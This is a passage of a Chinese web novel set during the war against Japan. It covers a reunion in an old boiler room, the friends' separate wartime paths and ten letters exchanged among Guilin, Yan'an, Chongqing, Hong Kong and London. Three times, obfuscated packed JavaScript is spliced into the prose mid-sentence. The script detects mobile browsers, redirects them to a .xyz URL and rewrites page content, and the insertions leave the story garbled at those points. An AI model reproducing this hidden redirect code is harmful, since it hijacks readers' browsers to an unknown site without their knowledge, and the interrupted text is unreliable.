回到他们都还不够明白这个世界的时候，像三条刚汇到同一条小河里的水，还不知前面是平湖还是瀑布。 她正出神间，门口传来一阵脚步声。 “你们怎么都不吭一声就来这里？”一个熟悉的声音响起，“是约好的吗？” 她猛地转过头。 沈时砚站在门口，肩上搭着旧风衣，脚边溅了点泥。他眉眼还是熟悉的，眼神却比以前深了些，像是走了很远的路才又绕回来。他看着她，又看看屋内的陈设，眼里划过一丝浅浅的笑意。 “我推门的时候，还以为自己走错了。”他说。 罗炽南一愣，随即笑了：“你倒是选了个好时候回来。” 陈蔚青没说话。 她看着他，忽然觉得这一幕太不真实。 屋子里光线斑驳，风轻轻吹过窗缝，带进一缕淡淡的潮气。他们三人，一个倚着门、一个靠在桌子上、一个站在阳光里，恍若回到五年多以前——第一次在这个房间里相遇的那个下午。 “你什么时候到的？”她终于问。 “今天早上。”沈时砚回答，“但不知道为什么，第一步就是想来这儿看看。” “什么时候走？”她轻声问。 “你叫我走，我才走。”他微笑，“这次是真的。” 一阵风吹过，锅炉房那扇破旧的铁门吱呀作响。光影在他们身边跳动，像是有什么早已沉睡的东西，在这一刻苏醒。 陈蔚青看着眼前这两张熟悉的脸，忽然觉得这几年所有的奔波与痛苦，都变得轻了一点点。 不是因为它们过去了，而是—— 她不是一个人在记得。 不是一个人在活着。 她嘴角微动，没有说话。 沈时砚走进来，顺手在椅子上坐下，熟悉地拉过一张椅子坐下。 她也走到最近的那张椅子旁边坐下。罗炽南靠着旧炉台，拿出一根烟叼在嘴边，没点火。 锅炉房静了。 光在屋中缓缓移动，投下三道斜斜的影。锅炉房里静了很久，直到阳光渐渐西移，地上的影子慢慢拉长，才有人开口。 “你这次回来，是暂住？”罗炽南问，语气不重，却听得出一丝探问。 沈时砚摇了摇头，嗓音淡淡的：“不走了。” 陈蔚青看他一眼：“北平不要你了？” 他笑了笑，眼神在光影里柔下来：“是我不要北平了。” “怎么？”她问得很轻。 “前几个月还在讲课。”他说，“有一次上完课，一个从湖南来的学生比我还前地冲出教室。我问他怎么了？他说外面下雪了，想去看看，他说：‘沈先生，我今天第一次见雪。’” 他顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643565|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿，像是还记得那个学生说话时的神情。 “他说完这句话，我站在教学楼前面，看着北平的雪……忽然就想起你们。”他看向陈蔚青，又看向罗炽南。 “想起那时候我说，等有一天一起去看雪。”他看着陈蔚青，仿佛在确认她是否还记得，“但后来她死了，你们各忙各的，我在北方……就好像那个承诺也跟着没了。” 他声音放得极轻：“可那一刻我忽然很确定——我不想一个人看完那场雪。” 陈蔚青的手在膝上微微收紧。她低声说道，“你这个人，表面看起来是最淡的，心里却记得最牢。” 沈时砚笑了一下，没反驳，只是低声说：“所以我就回来了。” “回来也好。”罗炽南说完，歪头看着窗外的光线，“我在夜校那边讲‘八小时工作制’。以前我一看书就头疼，现在也不会了，可能是讲久了，练出来了。” “你也成‘老师’了？”沈时砚打趣。 “哪能比得上你们读过书的。”他咧嘴一笑，“但工人听我说话，不嫌我啰嗦，我就一直说。” “你是会说的，我可听工人们都喊你叫‘老大’呢。”陈蔚青忍不住笑出声来，眼角却有些酸。 “那你呢？”沈时砚转头看向她，“撑着这么久，累不累？” “累。”她如实回答，“但不能倒。” “日本人的生意越来越猖狂，那些小字号倒了一家又一家。可陈家还是得撑着。”她淡淡说着，“日子难，但日子还在过。” 她顿了顿，轻声补了一句：“至少比四年前安静些。” 沈时砚没有接话，只是微微点头，仿佛将这句话收进心里。 锅炉房的光暗了一些。 “外面天快黑了。”沈时砚说，“你们要走吗？” “再坐一会。”陈蔚青轻轻开口。 罗炽南没答，也找了个位置坐下来。 于是三人静静坐着，像是三根灯芯，隔着时间、隔着岁月，在这间旧屋子里，一起亮了一下，又一起停留在黑暗降临之前最温柔的那一刻。 三人坐了一会，然后相继告别，陈蔚青感觉心里有什么东西慢慢被缝补起来，她走在路上，突然换了个方向。 她一路穿过老城区。脚步不快，像在赴一场很久以前的约。 她走到一座老式砖木楼前，门口石阶上落着些许枯叶。她抬手，轻轻敲了三下。 不多时，门从里面吱呀一声被推开，梁悯初出现在门内。 他还是穿着一身浅灰色长衫，领口整齐，神情寡淡，和以前一模一样。屋里灯光温黄，他站在门内，眼神清朗，如旧剧本中刚落场的温吞角色。 他看见她，没说话，只点了点头。那一瞬间，好像时间在他身上从未走过。 陈蔚青轻声说：“……沈时砚回来了。” 他眼睫轻轻颤了下，低下头，像是确认，又像只是避开那过于沉重的眼神。然后他轻轻“嗯”了一声。 许久，梁悯初才缓缓开口，声音低而沉稳：“都会回来的。” 那声音像是说给她听，也像是说给他自己听。 门边的光照在他身上，把他影子拉得老长。他微微侧身，让出一个方向。 “进来喝口茶吧？” 她看着他，忽然笑了一下，轻轻点了点头。 于是她踏进门槛，把和这些年积压的风雪和伤口都轻轻放下。 38. 当你死去之时 时间就这样平静地流动着。 南州的木棉花谢了又开，街边的茶馆换了招牌又换了老板，永丰纱厂外那条旧轨道终于锈死，再也没有火车路过了。 沈时砚留在了南州，在南州的大学教书，讲几门电机原理，学生们一开始总害怕他不苟言笑，后来才知道这位沈老师温和得很，甚至有点呆呆的，连讲错了都会低声跟自己说“没关系，再想一想”。 他搬出了沈家，搬进了大学的狭小的宿舍，楼下的猫冬天会躲进锅炉房，他常给它带一块点心，说是“替她喂的”。 黎婉芝也从巴黎回来过，但不久又回去了。 她已经不像从前那个总是兴致勃勃讲文学戏剧的女孩子，穿得更淡、更静，举止比以前更沉稳，但一开口，还是那个婉芝——她捧着从巴黎带回来的点心盒，对蔚青说：“你看，这个包装是不是特别像简画的那张小画？” 那年八月，他们四人一同去了城郊。 那是一个不起眼的小山头，树木杂乱，风一吹草就倒下来一大片。他们带了一块素白的石碑，是蔚青托人刻的，字也不多： “罗简之墓。 码头之女，戏台之魂。 一个不该死的人。” 他们没有焚香，也没有放鞭炮。只有风穿过枝叶，发出细微的声响，仿佛那个女孩还在唱那首旧电影里的曲子，唱得不准，却唱得认真。 黎婉芝在墓前蹲了很久，眼圈红了也没哭出来，只轻声说了一句：“对不起。” 沈时砚放了一本写满笔记的小本子，是她教他识字时用过的那一本。他说：“这是她写的第一篇文章，我替她抄了一遍。” 罗炽南从衣兜里掏出一把碎铜币，说：“她小时候说要拿钱买戏服的，结果每次都被我抢走。”他低头，把那几枚钱一枚枚放在碑前：“还她。” 陈蔚青最后站在碑前，许久没说话。风吹过她的发，她才低声道：“你不在的时候，我们都做了些努力。虽然不多，但……我们还活着。” 风突然大了一些，像是谁在山那头笑了一下。 那一刻，他们终于像是正式，跟那个一直牵挂在他们心里的女孩，道了别。 再后来，就是卢沟桥的枪声。 1937年夏，南州街头的报纸开始一张比一张沉重。 陈蔚青坐在桌前，望着最新一批电报，手指轻轻摩挲桌边，心跳有些乱。她知道，那个一直往前推着他们的时代，终于彻底撕破了遮羞布，不再伪装和平。 他们五人，在这个夏天，分别走上了不同的路。 沈时砚走得最快。 那天深夜，他敲开了陈宅的门。 “我要走了。”他说，神情平静，“这次是真的走，抱歉，这次不能听你的。” “去哪？”蔚青说，她突然发现有些害怕。 “延安。”他说，“他们那边需要人做技术支持，电机、密码破译，还有工厂搭建——我都能做一点。” “那里…很危险。”她说。 “是啊。”他低头一笑，“但总得有人去，不是吗？” 她没有劝，也没有挽留，只是顿了一下：“你一个人去？” “有人来找我。”他抬头看她，“我很早以前就想去做点真正的事。你还记得吗？当年我刚刚回来的时候，大家都围在我身边，夸我年轻有为，但其实那么多年了，我也不知道我到底做成了什么。” 她怔了片刻，点了点头。 他转身离开的时候，她忽然叫住他：“时砚。” “嗯？” “我们会在见的，就在纱厂的锅炉房。”她说得平静，“我有预感，就跟之前一样，就跟你从北平回来那天一样。” 他笑了笑，仿佛那是理所当然。 罗炽南是第二个做出决定的，他从来没想过要走。 那天是纱厂月末结账的日子，陈蔚青从账房出来时，在楼梯转角看见他坐在楼下的石阶上，抽烟。他身上的工装沾着一点粉灰，袖口挽到肘，一如往常。 “我听说了。”她走过去，站在他旁边，“他们在查你。” “查我？”他笑了一声，烟雾在鼻息间晃了一晃，“他们查的人多了去了。” 她没笑，沉默了一会：“你想好了？这可不是一般的危险。” “嗯。”他点头，像是在说一件再自然不过的事，“我留下。” “我不是说你留下，我是说你组织大家干的那件事……”她环顾四周，还是没敢说出“地下抗日组织”这个名词。 “那是我该干的事。”他掐灭烟头，抬头望向天色，“这几年我跟工人们一起念书、印传单、教他们识字……但你也看到了，有时候光是知道不够。” “我认识的人多。以前在黑市混的时候，能搞来一车香料、也能找到印刷机、藏人、送信、散传单的人。”他站起身，神情比平日更沉稳了些，“我们已经有了夜校，有了工会，下一步，就是……换个名字。” 她看着他，眼里有什么东西微微晃了一下。 他顿了顿，轻声补了一句：“她走的时候，我什么都没能做。现在该有人做事了，我总该做点什么。” 说完这句话，他转过身，朝纱厂后门走去。 陈蔚青没有追上去，只是望着他背影一点点没入傍晚的光影里。 风吹过来，像是谁低声说了一句“记得我”。她下意识地攥紧了衣袖，低头，许久才叹了一句：“……他本来就该是这个样子的。 第三个做出决定的是梁悯初。 那天是一个阴天，南州街头的风有点怪，吹得树叶晃晃悠悠，像要落又不肯落。陈蔚青收到梁悯初的信，说请她赴一聚，落款没有署名，地址是一间旧书屋。 她过去时，门虚掩着，院中竹影斑驳，像是许久没人走动过的地方。她推门进去，他已经坐在一张长条桌旁，低头摊着一本书，像刚刚翻到某一页，也像在等她。 “来了。”他说，语气温温的，没有起身，像四年前教书时每一堂下课前的最后一句。 她点头，在他对面坐下。茶已经泡好，水面漂着几片干柠檬叶。 “最近……南州不太安稳。”他轻声道，“我过几日准备回香港。” 陈蔚青没有立刻答话，只把杯子转了一圈。茶还温着，她低头闻了闻，没喝。 “香港那边……”她说着，没说完，只转而问，“你自己去？” “暂时是。”他顿了一下，“如果你愿意…跟我一起的话，那就是两个人。” “什么意思？” “你愿意跟我一起走吗？” 她心头一颤，这句话居然矛盾的既沉重又轻盈。她意识到，如果在十八岁那年，老师问出这句话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649820|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己一定会不假思索地点头答应，可现在，这个问题只像是远方飘来的一阵风。 “我想你也看得出来，最近不少人在动。”他停顿了下，“我会做一点……” 他把声音压得很低很低：“南州的消息，需要一个中转站，去到重庆、去到延安，香港是最好的选择。“ 她没有说“我跟你一起”，只是看了他很久。窗外有人喊卖菜，声音细细远远地飘进来，她忽然有些恍惚。她发现老师还是那个人，那个温柔的、正义的、理智的人。 只是她已经和从前不一样了。 “我不能走。”她回答，然后轻轻一笑，“但是，老师，你不知道我曾经等这句话等了多久。” “我知道。”他像是抢答一般回答了她，又顿了顿，忽然道，“我很高兴你没再等了。” 最后是蔚青自己。 军队入城那日，南州街口贴满了新政布告。字印得密密麻麻，口气却温和得近乎诚恳：恢复商业秩序、保障工厂运作、禁止暴力掠夺……像一封写给“未来和平”的请帖，只是那纸张太白，白得几乎晃眼。 陈家名下的几处产业——香料仓、木行、还有纺织厂，很快就接到了“合作”通牒。负责来谈的人西装革履，自称“两国贸易振兴联盟”的事务所代表，说话极有礼貌，甚至还带来一瓶酒，说是“敬陈家”。 她没有接那酒，只是静静地听完他们的话，一言未发。 她心里很清楚，这不是什么振兴，只是把南州最后的心跳掏出来，换上另一种节律。而她若答应，陈家会“安然过冬”，若不答应——她瞥了一眼廊下伫立的家仆、账房、还有那几个一直跟着她的老人、还有父亲——那就不止是她一个人的事了。 那一夜她没睡，在书房坐了一整晚。风翻着案上的旧账本，每一页纸上都写着数字、重量、香料名，一行行的墨迹像是母亲当年留给她的叮嘱。 她突然意识到，自己已经走到了母亲曾经走到的位置——甚至更远了一点。但她无法再做出那个决定了。 第二天清晨，她找来陈闻礼。 她并不是有多信任那人，但他是唯一合适的人选，他聪明肯干，虽说贪婪了些，但至少绝不会做出卖国求荣之事。她看着堂哥，一字一句地说：“从今天起，陈家归你管，要是他们有个三长两短，我做鬼也不会放过你。” 他先是一愣，旋即低声道：“你这是……？” “你放心，”她声音平稳，“我只是换一个地方做我能做的事。” 她没再多解释，怕一解释就软下去了。 三日后，她从后门悄悄离开，走的是老商路——南州通桂林的小道。那年正值初冬，木棉叶落了一地，沿途的山村被晨雾吞没，脚下的泥湿得几乎粘鞋。她背着一只黑布包，里面是几本书，一套旧衣，还有一些零件。 没有旗帜，没有誓言，没有送别。 但她知道，她不是流亡，而是迁徙。 她要走的那条路，通往重庆，通往那些声音和手——那里的纸张还在印，那里的学校还在讲，那里的青年还在反抗，还在默默把手伸进火里。 她不知道自己最后会变成什么样，但她知道——自己已不再是十八岁那个会说“我想让世界听见我”的小女孩。 她不再等世界听见她了，她会主动走进去。 走进风暴里。 39. 十封信 “四十年来家国，三千里地山河。” 书信一：桂林发往延安 寄件人：陈蔚青 收件人：沈时砚 时砚： 这封信我写得很慢，写得比我想象中慢许多。 我一开始想把这些事写得清清楚楚、像份报告那样详尽，但写到一半才意识到，我不是在陈述什么决定，而是在告诉一个朋友，我并没有放弃。 我从南州出来，先到了桂林。一路走得很平静，和想象中不同。没有流亡者的仓皇，也没有悲壮感。只是觉得，终于有一阵风把我从原地吹开了。 我把陈家交给堂哥陈闻礼了。你知道我不喜欢他，但他确实足够圆滑，且本质不太坏，其实比我们都更适合那种不动声色的局势应对。你别担心，我不是放弃——我是觉得，有些阵地不适合我守，但我总要找到另一个可以站住的地方。 这里比南州冷得早一点，早晨雾气很重，城墙上常年爬着青苔。我租了一个旧学堂的角落歇息，准备等路通后往重庆去。桂林的几位朋友给我介绍了几所战时学校，有一些流亡过来的孩子，我想，或许我能去教他们一点东西。 不是什么大道理——只是告诉他们，什么是杠杆、螺旋、磁场、通电顺序。教他们如何修理一个哪怕是一只手电筒的开关。以后如果他们也被困在什么地方，至少能自己动手打开一扇门，或者点一盏灯。 我们以前最喜欢讨论的就是数理啊，逻辑啊，可现在我们周围的一切都好像不讲逻辑了。 我想你也许会喜欢这里的天空——低，但很亮，山和水都像诗里写的、画里画的，但我没什么时间欣赏了。但每天晚上抬头看看，还是能看到晚上的星星，比南州多。 照顾好你自己，如果你还在机器边的话，记得别弯腰太久，脊背会酸。 蔚青 书信二：延安发往桂林 寄件人：沈时砚 收件人：陈蔚青 蔚青： 你那封信我读了三遍。你知道的，我不是个喜欢重复阅读的人。但你信里有种特别的气味，好像我也到过了你走过的那些地方。 你说你不是在陈述决定，而是在告诉一个朋友你没放弃。我想回你一句：我也没有。 我是在一场技术培训结束后读到你那封信的，工棚外头刚下过雪，屋檐垂着冰。我手头还有两张电台组装草图要改，可我当时只想坐下来，读你说的每一句话。 你想教孩子们用杠杆逃出去，我在这边教几个年轻人怎样用导线引爆一块信号炸药，让敌人的电报塔停摆一夜。我也在教他们怎么把一个废弃的工厂仓库，改成简易的播音间。 你说得对，现在这个世界真的不讲逻辑了。但我们会把它扭回正轨，我相信我们会的。 我很久没想锅炉房那台机器了。后来想起来，它让我们坐在了一起，我觉得它也会让我们重新走到一起。 你说你不是逃，我当然知道。就算是逃，也是我这辈子见过最勇敢的逃——是逃向一群还不知道什么是“希望”的孩子去的。 你说桂林夜晚的星星多。延安的天，也不差。 你不一定能收到这封信了，因为寄到的那会，你可能已经不在桂林了。到了重庆要给我写信，这样我才知道我该把信往哪里寄。对了，你要是看见了一只信鸽，那可能是我偷偷给你寄的。 沈时砚 书信三：重庆发往香港 寄件人：陈蔚青 收件人：梁悯初 梁老师： 我已安顿在重庆，写完这封信就打算给沈时砚写信，告诉他我到了。 这边比我想的还要更喧嚣一些，城里到处是从各地迁来的学校和人。每一条街巷都混杂着口音与脚步声，像是整个国家都在挤在这片山城里避雨。我教初等科学，也管后勤——有时是帮孩子们量体温、涂药水，有时去山坡上的医院做些登记和物资清点的义工活。总之，只要不是坐着发呆，都好。 南州已经完全被控制了，我知道您比我更早知情。那边来的信几乎都不通了。现在炽南写给我的信，怕是只能先到您那里了。如果真有他的消息，哪怕只有一句话，劳您转告我。 他做的事很危险，我知道，也信他。但这信不能不写。因为不写，就好像他真的已经消失了一样。 祝您一切安好。听说香港仍相对平稳，愿您也保重。 此致 敬礼 陈蔚青 书信四：香港发往重庆 寄件人：梁悯初 收件人：陈蔚青 蔚青： 收到你的信时，我刚从中环的图书馆回来。这里的风比南州湿冷，街上人声也不似你那边的混乱，更像潮水涨落，看似平静，实则推着一切悄悄往前。 你写沈时砚，我想我读到信的这时他应已收到你的信，哪怕延安的信路绕得再远。我们这些人都在山路与邮筒间活得像斑鸠，怕惊也怕慢。 你问炽南。他目前还安全。虽然他并未直接给我们写信，但我们知道他还在动：有一批从南州流出的简要物资与情报，署名是个没人认识的代号，字迹我认得，不会有错。 他太忙了。或者说，他把自己忙到没法多写一句话。但只要还在动，就说明他还活着。你想知道的消息，我会是第一个告诉你。 写到这里，忽然想起你十几岁那年第一次坐在窗边说：“老师，我想做点什么。”你现在做的，已经比那时想的更大、更多了。 保重，别太瘦。 梁悯初 书信五：重庆发往巴黎 寄件人：陈蔚青 收件人：黎婉芝 婉芝： 我从南州到了重庆，这之间的事以后有机会再跟你说，但总之这是我的新地址，你一定要记住。前几日听电台说，德国已经入侵波兰。我愣了一下，虽然早有预感，但真听到这句话时，手还是抖了一下。你那边还好吗？巴黎……还安全吗？ 重庆人说“天无三日晴”，我现在信了。早上出门还阳光清亮，下午就乌云压顶，好像连天也在摇摇欲坠。 我担心你。我知道你是那种“要死也要站着”的人，可现在不是站或不站的问题，是这个世界本身已经裂开了。你若还有机会逃，就逃。不安全的话，一定要自称是伪政府的人，拜托你，婉芝，一时意气用事，不值得。 你若平安，我哪怕一天见不到你，也能安心一点。你若出事，我怕我再也写不出东西了。 请务必告诉我你还在。 蔚青 书信六：伦敦发往重庆 寄件人：黎婉芝 收件人：陈蔚青 蔚青： 你读到这封信时，我已经不在巴黎了。 我从大使馆出来，坐上那班去加莱的火车时，天空是干净的。没有战机、没有哨音，街边的小贩还在卖花，只是每一个花束都看起来像告别。巴黎沦陷，是我到伦敦后才知道的。我说不清那一刻是更怕，还是更沉静。但幸好我在走之前就收到了你的信，不然我连你的新地址都不知道了。 你信上说让我“自称是伪政府的人”，我理解你。我知道你是怕我就这样客死他乡。 但蔚青，我没法那么做。我看着贝当上台，他像个走错剧场的演员。法国人都说他是一战英雄，可我觉得他连舞台都忘了在哪。 丘吉尔已经发表了演讲，说“我们绝不投降”，戴高乐也号召法国人反抗，虽然不知道他们能撑多久，我希望他们能有像你一样坚强的意志。 我会留下来。在伦敦，我能做的并不多，但我想尽我所能——无论是转述你们的文章，还是传递你寄来的照片、资料，我会尽我所能给你们争取一点援助。我不会自称是伪政府的人，不会违背我的良心。 但你放心，我会活着。只要我还在，就会一直写信给你。 你要撑住。无论山路多陡、水面多乱，你要撑住。 会一直都在的， 婉芝 书信七：重庆发往延安 寄件人：陈蔚青 收件人：沈时砚 时砚： 其实这封信原本应更早写、更早寄出的。前些日子忙得连自己影子都跟丢了，等我终于坐下来提笔时，才发现已经过去太久了。害你不知道我的新地址没法给我写信了。 你那边怎么样？延安冷吗？我前阵子听电台说香港沦陷了，听到那一刻，心口像被什么绊了一下。你觉得梁老师会好吗？他之前偷偷帮南州的组织传消息，我怕他还在香港，被人盯上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655697|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也不是没有好消息。苏联那边传来莫斯科保卫战的捷报，报纸上说这是“战略性的转折点”，美国加入了我们这边，罗斯福也终于下了重手，切断了石油出口。 我想信它，想信这场乱局终于开始往正确的方向倾斜。 你那边有没有更多消息？有没有什么，是比广播和电台更真实的？ 我现在每天都教书，也接一些后勤工作，有时候去医院帮忙。前两天有个孩子画了幅画，说“科学课老师的眼睛像星星”，我笑了半天。 你要好好的，比我更好一点也行。 蔚青 书信八：延安发往重庆 寄件人：沈时砚 收件人：陈蔚青 蔚青： 你信里提到香港，我也听说了。新闻电台说得含糊，但我们这里多少能打听到一点。 梁老师是个聪明人。他一向知道什么能做、什么不能做，也知道在什么时候该退一步。他不会出事的，你放心。 长沙那边，第三次会战终于打赢了。我们这边开会到深夜，一堆人披着棉袄，眼里却有光。有人说：“总算打出一口气来了。”我觉得也是。 你信里说，孩子画了你的眼睛像星星。你就别笑他了。那孩子没说错。你能在这个时候还留在课堂上，那本身就比很多人都亮。 我最近在教电报员训练，也开始研究一些新型的发电机结构图。前几天有个小姑娘来问：“老师，我也能学吗？”我想起你，很想把她送去你那里读书。 我们在做的事，也许现在看不清成果，但它们总会成为未来的一部分。 一切都会好的。慢一些、艰难一些，但会好的。 时砚 书信九：伦敦发往重庆 寄件人：黎婉芝 收件人：陈蔚青 蔚青： 诺曼底登陆啦！！！！ 诺曼底登陆啦！！我看见头版报纸的时候，手里的咖啡都掉在地上了，根本顾不上擦，直接冲进街角的报亭，一口气买了三份不同报纸，生怕自己看漏了一行字！ 是六月六号，整整六千艘舰艇、几百架飞机、十几万人——他们真的从海上打过去了！伦敦这几天几乎都在颤抖，但那是因为人们在欢呼。蔚青，你能想象吗？街上的人互相拥抱，陌生人递你一块糖，说“Victorywile!” 我还看到了开罗宣言，我看那几行字看了十几遍，手指都抠进纸页里了。 我们终于快走到那一步了吗？ 你那边好吗？重庆最近怎么样？我知道你还是在教书，也还在医院帮忙，真想冲过去帮你带一天课，让你多睡两个小时。 我这边……还行。伦敦不像以前那么安全，但至少，我们的飞机也会从这里起飞了，去回击。 现在每一天，我都觉得自己在倒数。 Victorywile,蔚青。 你要等着我回南州。 婉芝 书信十：延安发往重庆 寄件人：沈时砚 收件人：陈蔚青 蔚青： 八月初的消息，电台反复播报着，字句几乎是用火烧出来的。那种力量……我无法想象，也不敢想象。但如果它意味着一切要结束了——我愿意承受所有的震惊。 我们终于要胜利了吗？ 你知道的，我一向不轻易相信“终点”这种东西。但这次，我真的觉得，这一切快要结束了。 我知道，这封信真正抵达你手上的时候，或许一切已经尘埃落定。胜利了也说不定，或者正在谈判。不管怎样，我先写下这句话—— 如果我们胜利了，我们在南州见。 老地方，你知道我说的是哪儿。 不知道罗炽南还好不好。自从香港沦陷后，就没再有过他的消息。有时候半夜做梦，会梦见他背着一大口袋传单穿过码头的旧巷子，一边跑一边骂脏话。 但我相信他。像他那种人，不管在哪，都有办法活下去的。他心太硬了，命也太硬了。 反正我信他。 蔚青，想见你了。想见你笑，也想看你皱眉，说我做事不靠谱。 如果我们真的赢了，等我回来。 沈时砚